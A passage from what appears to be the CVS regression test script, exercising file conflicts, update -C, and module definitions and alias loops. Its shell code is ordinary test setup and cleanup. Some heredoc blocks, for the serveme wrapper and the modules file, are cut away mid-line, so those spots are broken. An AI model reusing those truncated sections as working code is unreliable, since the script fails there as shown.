1\\.1, resurrected\"\n\t dotest conflicts2-142b5b1 \"$testcvs status a\" \\\n\"===================================================================\nFile: a \tStatus: Needs Patch\n\n Working revision:\t1\\.1.*\n Repository revision:\t1\\.2\t$CVSROOT_DIRNAME/first-dir/a,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\"\n\t dotest conflicts2-142b6 \"${testcvs} -q update\" 'U a'\n\n\t # Now one level up.\n\t cd ..\n\t dotest conflicts2-142b7 \"${testcvs} rm -f first-dir/a\" \\\n\"${PROG} remove: scheduling .first-dir/a. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\n\t if $remote; then\n\t # Haven't investigated this one.\n\t dotest_fail conflicts2-142b8r \"$testcvs add first-dir/a\" \\\n\"${PROG} add: in directory \\.:\n${PROG} \\[add aborted\\]: there is no version here; do '${PROG} checkout' first\"\n\t cd first-dir\n\t else\n\t dotest conflicts2-142b8 \"${testcvs} add first-dir/a\" \\\n\"U first-dir/a\n${PROG} add: first-dir/a, version 1\\.2, resurrected\"\n\t cd first-dir\n\t # Now recover from the damage that the 142b8 test did.\n\t dotest conflicts2-142b9 \"${testcvs} rm -f a\" \\\n\"${PROG} remove: scheduling .a. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t fi\n\n\t dotest_sort conflicts2-142b10 \"${testcvs} add a\" \"U a\n${PROG} add: a, version 1\\.2, resurrected\"\n\t # As with conflicts2-142b6, check that things are normal again.\n\t dotest conflicts2-142b11 \"${testcvs} -q update\" ''\n\t cd ../..\n\t # END TESTS USING THE FILE A\n\n\t # Now test that if one person removes a file and\n\t # commits it, and a second person removes it, is it\n\t # not a conflict.\n\t cd 1/first-dir\n\t rm abc\n\t dotest conflicts2-142c0 \"${testcvs} rm abc\" \\\n\"${PROG} remove: scheduling .abc. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest conflicts2-142c1 \"${testcvs} -q ci -m remove-abc\" \\\n\"Removing abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t rm abc\n\t dotest conflicts2-142c2 \"${testcvs} rm abc\" \\\n\"${PROG} remove: scheduling .abc. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest conflicts2-142c3 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\"\n\t cd ../..\n\n\t # conflicts2-142d*: test that if one party adds a file, and another\n\t # party has a file of the same name, cvs notices\n\t cd 1/first-dir\n\t touch aa.c\n\t echo 'contents unchanged' >same.c\n\t dotest conflicts2-142d0 \"${testcvs} add aa.c same.c\" \\\n\"${PROG} add: scheduling file .aa\\.c. for addition\n${PROG} add: scheduling file .same\\.c. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest conflicts2-142d1 \"${testcvs} -q ci -m added\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aa\\.c,v\ndone\nChecking in aa\\.c;\n${CVSROOT_DIRNAME}/first-dir/aa\\.c,v <-- aa\\.c\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/same\\.c,v\ndone\nChecking in same\\.c;\n${CVSROOT_DIRNAME}/first-dir/same\\.c,v <-- same\\.c\ninitial revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t echo \"don't you dare obliterate this text\" >aa.c\n\t echo 'contents unchanged' >same.c\n\t # Note the discrepancy between local and remote in the handling\n\t # of same.c. I kind\n\t # of suspect that the local CVS behavior is the more useful one\n\t # although I do sort of wonder whether we should make people run\n\t # cvs add just to get them in that habit (also, trying to implement\n\t # the local CVS behavior for remote without the cvs add seems \n\t # pretty difficult).\n\t if $remote; then\n\t dotest_fail conflicts2-142d2 \"${testcvs} -q update\" \\\n\"${QUESTION} aa\\.c\n${QUESTION} same\\.c\n${PROG} update: move away \\./aa\\.c; it is in the way\nC aa\\.c\n${PROG} update: move away \\./same\\.c; it is in the way\nC same\\.c\"\n\t else\n\t dotest_fail conflicts2-142d2 \"${testcvs} -q update\" \\\n\"${PROG} [a-z]*: move away aa\\.c; it is in the way\nC aa\\.c\nU same\\.c\"\n\t fi\n\t dotest conflicts2-142d3 \"${testcvs} -q status aa.c\" \\\n\"${PROG} status: move away aa\\.c; it is in the way\n===================================================================\nFile: aa\\.c \tStatus: Unresolved Conflict\n\n Working revision:\tNo entry for aa\\.c\n Repository revision:\t1\\.1\t${CVSROOT_DIRNAME}/first-dir/aa\\.c,v\"\n\n\t # Could also be testing the case in which the cvs add happened\n\t # before the commit by the other user.\n\t # This message seems somewhat bogus. I mean, parallel development\n\t # means that we get to work in parallel if we choose, right? And\n\t # then at commit time it would be a conflict.\n\t dotest_fail conflicts2-142d4 \"${testcvs} -q add aa.c\" \\\n\"${PROG} add: aa.c added independently by second party\"\n\n\t # The user might want to see just what the conflict is.\n\t # Don't bother, diff seems to kind of lose its mind, with or\n\t # without -N. This is a CVS bug(s).\n\t #dotest conflicts2-142d5 \"${testcvs} -q diff -r HEAD -N aa.c\" fixme\n\n\t # Now: \"how can the user resolve this conflict\", I hear you cry.\n\t # Well, one way is to forget about the file in the working\n\t # directory.\n\t # Since it didn't let us do the add in conflicts2-142d4, there\n\t # is no need to run cvs rm here.\n\t #dotest conflicts2-142d6 \"${testcvs} -q rm -f aa.c\" fixme\n\t dotest conflicts2-142d6 \"rm aa.c\" ''\n\t dotest conflicts2-142d7 \"${testcvs} -q update aa.c\" \"U aa\\.c\"\n\t dotest conflicts2-142d8 \"cat aa.c\" ''\n\n\t # The other way is to use the version from the working directory\n\t # instead of the version from the repository. Unfortunately,\n\t # there doesn't seem to be any particularly clear way to do\n\t # this (?).\n\n\t cd ../..\n\n\t rm -r 1 2; rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tconflicts3)\n\t # More tests of conflicts and/or multiple working directories\n\t # in general.\n\n\t mkdir 1; cd 1\n\t dotest conflicts3-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest conflicts3-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd ..\n\t mkdir 2; cd 2\n\t dotest conflicts3-3 \"${testcvs} -q co -l first-dir\" ''\n\t cd ../1/first-dir\n\t touch file1 file2\n\t dotest conflicts3-4 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest conflicts3-5 \"${testcvs} -q ci -m add-them\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t # Check that -n doesn't make CVS lose its mind as it creates\n\t # (or rather, doesn't) a new file.\n\t dotest conflicts3-6 \"${testcvs} -nq update\" \\\n\"U file1\nU file2\"\n\t dotest_fail conflicts3-7 \"test -f file1\" ''\n\t dotest conflicts3-8 \"${testcvs} -q update\" \\\n\"U file1\nU file2\"\n\t dotest conflicts3-9 \"test -f file2\" ''\n\n\t # OK, now remove two files at once\n\t dotest conflicts3-10 \"${testcvs} rm -f file1 file2\" \\\n\"${PROG} remove: scheduling .file1. for removal\n${PROG} remove: scheduling .file2. for removal\n${PROG} remove: use .${PROG} commit. to remove these files permanently\"\n\t dotest conflicts3-11 \"${testcvs} -q ci -m remove-them\" \\\n\"Removing file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: delete; previous revision: 1\\.1\ndone\nRemoving file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t cd ../../1/first-dir\n\t dotest conflicts3-12 \"${testcvs} -n -q update\" \\\n\"${PROG} update: file1 is no longer in the repository\n${PROG} update: file2 is no longer in the repository\"\n\t dotest conflicts3-13 \"${testcvs} -q update\" \\\n\"${PROG} update: file1 is no longer in the repository\n${PROG} update: file2 is no longer in the repository\"\n\n\t # OK, now add a directory to both working directories\n\t # and see that CVS doesn't lose its mind.\n\t mkdir sdir\n\t dotest conflicts3-14 \"${testcvs} add sdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir added to the repository\"\n\t touch sdir/sfile\n\t dotest conflicts3-14a \"${testcvs} add sdir/sfile\" \\\n\"${PROG} add: scheduling file .sdir/sfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest conflicts3-14b \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/sdir/sfile,v\ndone\nChecking in sdir/sfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/sfile,v <-- sfile\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../../2/first-dir\n\n\t # Create a CVS directory without the proper administrative\n\t # files in it. This can happen for example if you hit ^C\n\t # in the middle of a checkout.\n\t mkdir sdir\n\t mkdir sdir/CVS\n\t # OK, in the local case CVS sees that the directory exists\n\t # in the repository and recurses into it. In the remote case\n\t # CVS can't see the repository and has no way of knowing\n\t # that sdir is even a directory (stat'ing everything would be\n\t # too slow). The remote behavior makes more sense to me (but\n\t # would this affect other cases?).\n\t if $remote; then\n\t dotest conflicts3-15 \"${testcvs} -q update\" \\\n\"${QUESTION} sdir\"\n\t else\n\t dotest conflicts3-15 \"${testcvs} -q update\" \\\n\"${QUESTION} sdir\n${PROG} update: ignoring sdir (CVS/Repository missing)\"\n\t touch sdir/CVS/Repository\n\t dotest conflicts3-16 \"${testcvs} -q update\" \\\n\"${QUESTION} sdir\n${PROG} update: ignoring sdir (CVS/Entries missing)\"\n\t cd ..\n\t dotest conflicts3-16a \"${testcvs} -q update first-dir\" \\\n\"${QUESTION} first-dir/sdir\n${PROG} update: ignoring first-dir/sdir (CVS/Entries missing)\"\n\t cd first-dir\n\t fi\n\t rm -r sdir\n\n\t # OK, now the same thing, but the directory doesn't exist\n\t # in the repository.\n\t mkdir newdir\n\t mkdir newdir/CVS\n\t dotest conflicts3-17 \"${testcvs} -q update\" \"${QUESTION} newdir\"\n\t echo \"D/newdir////\" >> CVS/Entries\n\t dotest conflicts3-18 \"${testcvs} -q update\" \\\n\"${PROG} [a-z]*: ignoring newdir (CVS/Repository missing)\"\n\t touch newdir/CVS/Repository\n\t dotest conflicts3-19 \"${testcvs} -q update\" \\\n\"${PROG} [a-z]*: ignoring newdir (CVS/Entries missing)\"\n\t cd ..\n\t dotest conflicts3-20 \"${testcvs} -q update first-dir\" \\\n\"${PROG} [a-z]*: ignoring first-dir/newdir (CVS/Entries missing)\"\n\t cd first-dir\n\t rm -r newdir\n\n\t # The previous tests have left CVS/Entries in something of a mess.\n\t # While we \"should\" be able to deal with that (maybe), for now\n\t # we just start over.\n\t cd ..\n\t rm -r first-dir\n\t dotest conflicts3-20a \"${testcvs} -q co -l first-dir\" ''\n\t cd first-dir\n\n\t dotest conflicts3-21 \"${testcvs} -q update -d sdir\" \"U sdir/sfile\"\n\t rm -r sdir/CVS\n\t dotest conflicts3-22 \"${testcvs} -q update\" \"${QUESTION} sdir\"\n\t if $remote; then\n\t dotest_fail conflicts3-23 \"${testcvs} -q update -PdA\" \\\n\"${QUESTION} sdir\n${PROG} update: move away sdir/sfile; it is in the way\nC sdir/sfile\"\n\t else\n\t dotest conflicts3-23 \"${testcvs} -q update -PdA\" \\\n\"${QUESTION} sdir\"\n\t fi\n\n\t # Not that it should really affect much, but let's do the case\n\t # where sfile has been removed. For example, suppose that sdir\n\t # had been a CVS-controlled directory which was then removed\n\t # by removing each file (and using update -P or some such). Then\n\t # suppose that the build process creates an sdir directory which\n\t # is not supposed to be under CVS.\n\t rm -r sdir\n\t dotest conflicts3-24 \"${testcvs} -q update -d sdir\" \"U sdir/sfile\"\n\t rm sdir/sfile\n\t dotest conflicts3-25 \"${testcvs} rm sdir/sfile\" \\\n\"${PROG} remove: scheduling .sdir/sfile. for removal\n${PROG} remove: use .${PROG} commit. to remove this file permanently\"\n\t dotest conflicts3-26 \"${testcvs} ci -m remove sdir/sfile\" \\\n\"Removing sdir/sfile;\n${CVSROOT_DIRNAME}/first-dir/sdir/sfile,v <-- sfile\nnew revision: delete; previous revision: 1\\.1\ndone\"\n\t rm -r sdir/CVS\n\t dotest conflicts3-27 \"${testcvs} -q update\" \"${QUESTION} sdir\"\n\t dotest conflicts3-28 \"${testcvs} -q update -PdA\" \\\n\"${QUESTION} sdir\"\n\n\t cd ../..\n\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tconflicts4)\n\t mkdir conflicts4; cd conflicts4\n\t mkdir 1; cd 1\n\t dotest conflicts4-1 \"$testcvs -q co -l .\"\n\t mkdir first-dir\n\t dotest conflicts4-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd ..\n\t mkdir 2; cd 2\n\t dotest conflicts4-3 \"${testcvs} -q co -l first-dir\" ''\n\t cd ../1/first-dir\n\t echo baseline >file1\n\t dotest conflicts4-4 \"${testcvs} -q add file1\" \\\n\"$PROG add: use .$PROG commit. to add this file permanently\"\n\t dotest conflicts4-5 \"${testcvs} -q ci -m add-it\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/file1,v\ndone\nChecking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t cd ../../2/first-dir\n\t dotest conflicts4-6 \"${testcvs} -q update\" \"U file1\"\n\t # Make a local change\n\t echo wibble2 >> file1\n\t dotest conflicts4-7 \"${testcvs} -q ci -m update2\" \\\n\"Checking in file1;\n$CVSROOT_DIRNAME/first-dir/file1,v <-- file1\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../../1/first-dir\n\t echo wibble1 >>file1\n\t dotest conflicts4-8 \"${testcvs} -Q update\" \\\n\"RCS file: $CVSROOT_DIRNAME/first-dir/file1,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into file1\nrcsmerge: warning: conflicts during merge\ncvs update: conflicts found in file1\"\n\t dotest_fail conflicts4-9 \"${testcvs} -q update\" \\\n\"C file1\"\n\n\t if $remote; then\n\t cat >$TESTDIR/conflicts4/serveme <$TESTDIR/conflicts4/client.out\nEOF\n\t # Cygwin. Pthffffffffft!\n\t if test -n \"$remotehost\"; then\n\t $CVS_RSH $remotehost \"chmod +x $TESTDIR/conflicts4/serveme\"\n\t else\n\t chmod +x $TESTDIR/conflicts4/serveme\n\t fi\n\t save_CVS_SERVER=$CVS_SERVER\n\t CVS_SERVER=$TESTDIR/conflicts4/serveme; export CVS_SERVER\n\t dotest_fail conflicts4-10r \"$testcvs -q up\" \"C file1\"\n\t dotest conflicts4-11r \"cat $TESTDIR/conflicts4/client.out\" \\\n\"$DOTSTAR\nArgument --\nDirectory .\n$CVSROOT_DIRNAME/first-dir\nEntry /file1/1.2/$PLUS=//\nModified file1\nu=.*,g=.*,o=.*\n59\nbaseline\n\"\"<<<<<<< file1\nwibble1\n\"\"=======\nwibble2\n\"\">>>>>>> 1.2\nupdate\"\n\n\t cat >$TESTDIR/conflicts4/serveme <$TESTDIR/conflicts4/client.out\nEOF\n\n\t dotest_fail conflicts4-12r \"$testcvs -q up\" \"C file1\"\n\t dotest conflicts4-13r \"cat $TESTDIR/conflicts4/client.out\" \\\n\"$DOTSTAR\nArgument --\nDirectory .\n$CVSROOT_DIRNAME/first-dir\nEntry /file1/1.2/$PLUS=//\nUnchanged file1\nupdate\"\n\n\t CVS_SERVER=$save_CVS_SERVER; export CVS_SERVER\n\t fi\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n exit 0\n\t fi\n\n\t cd ../../..\n\t rm -rf conflicts4\n\t rm -rf $CVSROOT_DIRNAME/first-dir\n\t ;;\n\n\tclean)\n\t # Test update -C (overwrite local mods w/ repository copies)\n\t mkdir 1; cd 1\n\t dotest clean-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest clean-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t echo \"The usual boring test text.\" > cleanme.txt\n dotest clean-3 \"${testcvs} add cleanme.txt\" \\\n\"${PROG} add: scheduling file .cleanme\\.txt. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest clean-4 \"${testcvs} -q ci -m clean-3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/cleanme\\.txt,v\ndone\nChecking in cleanme\\.txt;\n${CVSROOT_DIRNAME}/first-dir/cleanme\\.txt,v <-- cleanme\\.txt\ninitial revision: 1\\.1\ndone\"\n # Okay, preparation is done, now test.\n # Check that updating an unmodified copy works.\n\t dotest clean-5 \"${testcvs} -q update\" ''\n # Check that updating -C an unmodified copy works.\n\t dotest clean-6 \"${testcvs} -q update -C\" ''\n # Check that updating a modified copy works.\n\t echo \"fish\" >> cleanme.txt\n\t dotest clean-7 \"${testcvs} -q update\" 'M cleanme\\.txt'\n # Check that updating -C a modified copy works.\n\t dotest clean-8 \"${testcvs} -q update -C\" \\\n\"(Locally modified cleanme\\.txt moved to \\.#cleanme\\.txt\\.1\\.1)\nU cleanme\\.txt\"\n\t # And check that the backup copy really was made.\n\t dotest clean-9 \"cat .#cleanme.txt.1.1\" \\\n\"The usual boring test text\\.\nfish\"\n\n # Do it all again, this time naming the file explicitly.\n\t rm .#cleanme.txt.1.1\n\t dotest clean-10 \"${testcvs} -q update cleanme.txt\" ''\n\t dotest clean-11 \"${testcvs} -q update -C cleanme.txt\" ''\n\t echo \"bluegill\" >> cleanme.txt\n\t dotest clean-12 \"${testcvs} -q update cleanme.txt\" 'M cleanme\\.txt'\n\t dotest clean-13 \"${testcvs} -q update -C cleanme.txt\" \\\n\"(Locally modified cleanme\\.txt moved to \\.#cleanme\\.txt\\.1\\.1)\nU cleanme\\.txt\"\n\t # And check that the backup copy really was made.\n\t dotest clean-14 \"cat .#cleanme.txt.1.1\" \\\n\"The usual boring test text\\.\nbluegill\"\n\n\t # Now try with conflicts\n\t cd ..\n\t dotest clean-15 \"${testcvs} -q co -d second-dir first-dir\" \\\n'U second-dir/cleanme\\.txt'\n\t cd second-dir\n\t echo \"conflict test\" >> cleanme.txt\n\t dotest clean-16 \"${testcvs} -q ci -m.\" \\\n\"Checking in cleanme\\.txt;\n${CVSROOT_DIRNAME}/first-dir/cleanme\\.txt,v <-- cleanme\\.txt\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t cd ../first-dir\n\t echo \"fish\" >> cleanme.txt\n\t dotest clean-17 \"${testcvs} -nq update\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/cleanme\\.txt,v\nretrieving revision 1\\.1\nretrieving revision 1\\.2\nMerging differences between 1\\.1 and 1\\.2 into cleanme\\.txt\nrcsmerge: warning: conflicts during merge\n${PROG} update: conflicts found in cleanme\\.txt\nC cleanme\\.txt\"\n\t dotest clean-18 \"${testcvs} -q update -C\" \\\n\"(Locally modified cleanme\\.txt moved to \\.#cleanme\\.txt\\.1\\.1)\nU cleanme\\.txt\"\n\t dotest clean-19 \"cat .#cleanme.txt.1.1\" \\\n\"The usual boring test text\\.\nfish\"\n\t \n # Done. Clean up.\n\t cd ../..\n rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tmodules)\n\t # Tests of various ways to define and use modules.\n\t # Roadmap to various modules tests:\n\t # -a:\n\t # error on incorrect placement: modules\n\t # error combining with other options: modules2-a*\n\t # infinite loops: modules148a1.1 - modules148a1.2\n\t # use to specify a file more than once: modules3\n\t # use with ! feature: modules4\n\t # regular modules: modules, modules2, cvsadm\n\t # ampersand modules: modules2\n\t # -s: modules.\n\t # -d: modules, modules3, cvsadm\n\t # -i, -o, -u, -e, -t: modules5\n\t # slashes in module names: modules3\n\t # invalid module definitions: modules6\n\n\t ############################################################\n\t # These tests are to make sure that administrative files get\n\t # rebuilt, regardless of how and where files are checked\n\t # out.\n\t ############################################################\n\t # Check out the whole repository\n\t mkdir 1; cd 1\n\t dotest modules-1 \"${testcvs} -q co .\" 'U CVSROOT/checkoutlist\nU CVSROOT/commitinfo\nU CVSROOT/config\nU CVSROOT/cvswrappers\nU CVSROOT/editinfo\nU CVSROOT/loginfo\nU CVSROOT/modules\nU CVSROOT/notify\nU CVSROOT/rcsinfo\nU CVSROOT/taginfo\nU CVSROOT/verifymsg'\n\t echo \"# made a change\" >>CVSROOT/modules\n\t dotest modules-1d \"${testcvs} -q ci -m add-modules\" \\\n\"Checking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\t rm -rf 1\n\n\t ############################################################\n\t # Check out CVSROOT\n\t mkdir 1; cd 1\n\t dotest modules-2 \"${testcvs} -q co CVSROOT\" 'U CVSROOT/checkoutlist\nU CVSROOT/commitinfo\nU CVSROOT/config\nU CVSROOT/cvswrappers\nU CVSROOT/editinfo\nU CVSROOT/loginfo\nU CVSROOT/modules\nU CVSROOT/notify\nU CVSROOT/rcsinfo\nU CVSROOT/taginfo\nU CVSROOT/verifymsg'\n\t echo \"# made a change\" >>CVSROOT/modules\n\t dotest modules-2d \"${testcvs} -q ci -m add-modules\" \\\n\"Checking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ..\n\t rm -rf 1\n\n\t ############################################################\n\t # Check out CVSROOT in some other directory\n\t mkdir ${CVSROOT_DIRNAME}/somedir\n\t mkdir 1; cd 1\n\t dotest modules-3 \"${testcvs} -q co somedir\" ''\n\t cd somedir\n\t dotest modules-3d \"${testcvs} -q co CVSROOT\" 'U CVSROOT/checkoutlist\nU CVSROOT/commitinfo\nU CVSROOT/config\nU CVSROOT/cvswrappers\nU CVSROOT/editinfo\nU CVSROOT/loginfo\nU CVSROOT/modules\nU CVSROOT/notify\nU CVSROOT/rcsinfo\nU CVSROOT/taginfo\nU CVSROOT/verifymsg'\n\t echo \"# made a change\" >>CVSROOT/modules\n\t dotest modules-3g \"${testcvs} -q ci -m add-modules\" \\\n\"Checking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\t cd ../..\n\t rm -rf 1\n\t rm -rf ${CVSROOT_DIRNAME}/somedir\n\t ############################################################\n\t # end rebuild tests\n\t ############################################################\n\n\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\n\t mkdir 1\n\t cd 1\n\n\t dotest modules-143 \"${testcvs} -q co first-dir\" \"\"\n\n\t cd first-dir\n\t mkdir subdir\n\t dotest modules-143a \"${testcvs} add subdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/subdir added to the repository\"\n\n\t cd subdir\n\t mkdir ssdir\n\t dotest modules-143b \"${testcvs} add ssdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/subdir/ssdir added to the repository\"\n\n\t touch a b\n\n\t dotest modules-144 \"${testcvs} add a b\" \\\n\"${PROG} add: scheduling file .a. for addition\n${PROG} add: scheduling file .b. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\n\t dotest modules-145 \"${testcvs} ci -m added\" \\\n\"${PROG} [a-z]*: Examining .\n${PROG} [a-z]*: Examining ssdir\nRCS file: ${CVSROOT_DIRNAME}/first-dir/subdir/a,v\ndone\nChecking in a;\n${CVSROOT_DIRNAME}/first-dir/subdir/a,v <-- a\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/subdir/b,v\ndone\nChecking in b;\n${CVSROOT_DIRNAME}/first-dir/subdir/b,v <-- b\ninitial revision: 1\\.1\ndone\"\n\n\t cd ..\n\t dotest modules-146 \"${testcvs} -q co CVSROOT\" \\\n\"U CVSROOT/checkoutlist\nU CVSROOT/commitinfo\nU CVSROOT/config\nU CVSROOT/cvswrappers\nU CVSROOT/editinfo\nU CVSROOT/loginfo\nU CVSROOT/modules\nU CVSROOT/notify\nU CVSROOT/rcsinfo\nU CVSROOT/taginfo\nU CVSROOT/verifymsg\"\n\n\t # Here we test that CVS can deal with CVSROOT (whose repository\n\t # is at top level) in the same directory as subdir (whose repository\n\t # is a subdirectory of first-dir). TODO: Might want to check that\n\t # files can actually get updated in this state.\n\t dotest modules-147 \"${testcvs} -q update\" \"\"\n\n\t cat >CVSROOT/modules < A was blocked, but not A -> B -> A or deeper).\ninfinitealias2 -a infinitealias2/\ninfinitealias3 -a infinitealias4/\ninfinitealias4 -a aliasmodule infinitealias5\ninfinitealias5 -a infinitealias3/\n# Options must come before arguments. It is possible this should\n# be relaxed at some point (though the result would be bizarre for\n# -a); for now test the current behavior.\nbogusalias first-dir/subdir/a -a\nEOF\n\t dotest modules-148 \"${testcvs} ci -m 'add modules' CVSROOT/modules\" \\\n\"Checking in CVSROOT/modules;\n${CVSROOT_DIRNAME}/CVSROOT/modules,v <-- modules\nnew revision: 1\\.[0-9]*; previous revision: 1\\.[0-9]*\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ..\n\t # The \"statusmod\" module contains an error; trying to use it\n\t # will produce \"modules file missing directory\" I think.\n\t # However, that shouldn't affect the ability of \"cvs co -c\" or\n\t # \"cvs co -s\" to do something reasonable with it.\n\t dotest modules-148a0 \"${testcvs} co -c\" 'aliasmodule -a first-dir/subdir/a\naliasnested -a first-dir/subdir/ssdir\nbogusalias first-dir/subdir/a -a\ndirmodule first-dir/subdir\ninfinitealias -a infinitealias\ninfinitealias2 -a infinitealias2/\ninfinitealias3 -a infinitealias4/\ninfinitealias4 -a aliasmodule infinitealias5\ninfinitealias5 -a infinitealias3/\nnamedmodule -d nameddir first-dir/subdir\nrealmodule first-dir/subdir a\nstatusmod -s Mungeable\ntopfiles -a first-dir/file1 first-dir/file2\nworld -a \\.'\n\t # There is code in modules.c:save_d which explicitly skips\n\t # modules defined with -a, which is why aliasmodule is not\n\t # listed.\n\t dotest modules-148a1 \"${testcvs} co -s\" \\\n'statusmod Mungeable \nbogusalias NONE first-dir/subdir/a -a\ndirmodule NONE first-dir/subdir\nnamedmodule NONE first-dir/subdir\nrealmodule NONE first-dir/subdir a'\n\n\t # Check that infinite loops are avoided\n\t dotest modules-148a1.1 \"${testcvs} co infinitealias\" \\\n\"$PROG checkout: module \\`infinitealias' in modules file contains infinite loop\" \\\n\"$PROG server: module \\`infinitealias' in modules file contains infinite loop\n$PROG checkout: module \\`infinitealias' in modules file contains infinite loop\"\n\t # Prior to 1.11.12 & 1.12.6, the inifinte alias loop check did not\n\t # strip slashes.\n\t dotest modules-148a1.2 \"${testcvs} co infinitealias2\" \\\n\"$PROG checkout: module \\`infinitealias2' in modules file contains infinite loop\" \\\n\"$PROG server: module \\`infinitealias2' in modules file contains infinite loop\n$PROG checkout: module \\`infinitealias2' in modules file contains infinite loop\"\n\t # Prior to 1.11.12 & 1.12.6, the inifinte alias loop check did not\n\t # notice when A -> B -> A, it only noticed A -> A.\n\t dotest modules-148a1.3 \"${testcvs} co infinitealias3/\" \\\n\"$PROG checkout: module \\`infinitealias3' in modules file contains infinite loop\" \\\n\"$PROG server: module \\`infinitealias3' in modules file contains infinite loop\n$PROG checkout: module \\`infinitealias3' in modules file contains infinite loop\"\n\n\t # Test that real modules check out to realmodule/a, not subdir/a.\n\t dotest modules-149a1 \"${testcvs} co realmodule\" \"U realmodule/a\"\n\t dotest modules-149a2 \"test -d realmodule && test -f realmodule/a\" \"\"\n\t dotest_fail modules-149a3 \"test -f realmodule/b\" \"\"\n\t dotest modules-149a4 \"${testcvs} -q co realmodule\" \"\"\n\t dotest modules-149a5 \"echo yes | ${testcvs} release -d realmodule\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .realmodule.: \"\n\n\t dotest_fail modules-149b1 \"${testcvs} co realmodule/a\" \\\n\"${PROG}\"' checkout: module `realmodule/a'\\'' is a request for a file in a module which is not a directory' \\\n\"${PROG}\"' server: module `realmodule/a'\\'' is a request for a file in a module which is not a directory\n'\"${PROG}\"' \\[checkout aborted\\]: cannot expand modules'\n\n\t # Now test the ability to check out a single file from a directory\n\t dotest modules-150c \"${testcvs} co dirmodule/a\" \"U dirmodule/a\"\n\t dotest modules-150d \"test -d dirmodule && test -f dirmodule/a\" \"\"\n\t dotest_fail modules-150e \"test -f dirmodule/b\" \"\"\n\t dotest modules-150f \"echo yes | ${testcvs} release -d dirmodule\" \\\n\"You have \\[0\\] altered files in this repository\\.\nAre you sure you want to release (and delete) directory .dirmodule.: \"\n\t # Now test the ability to correctly reject a non-existent filename.\n\t # For maximum studliness we would check that an error message is\n\t # being output.\n\t # We accept a zero exit status because it is what CVS does\n\t # (Dec 95). Probably the exit status should be nonzero,\n\t # however.\n\t dotest modules-150g1 \"${testcvs} co 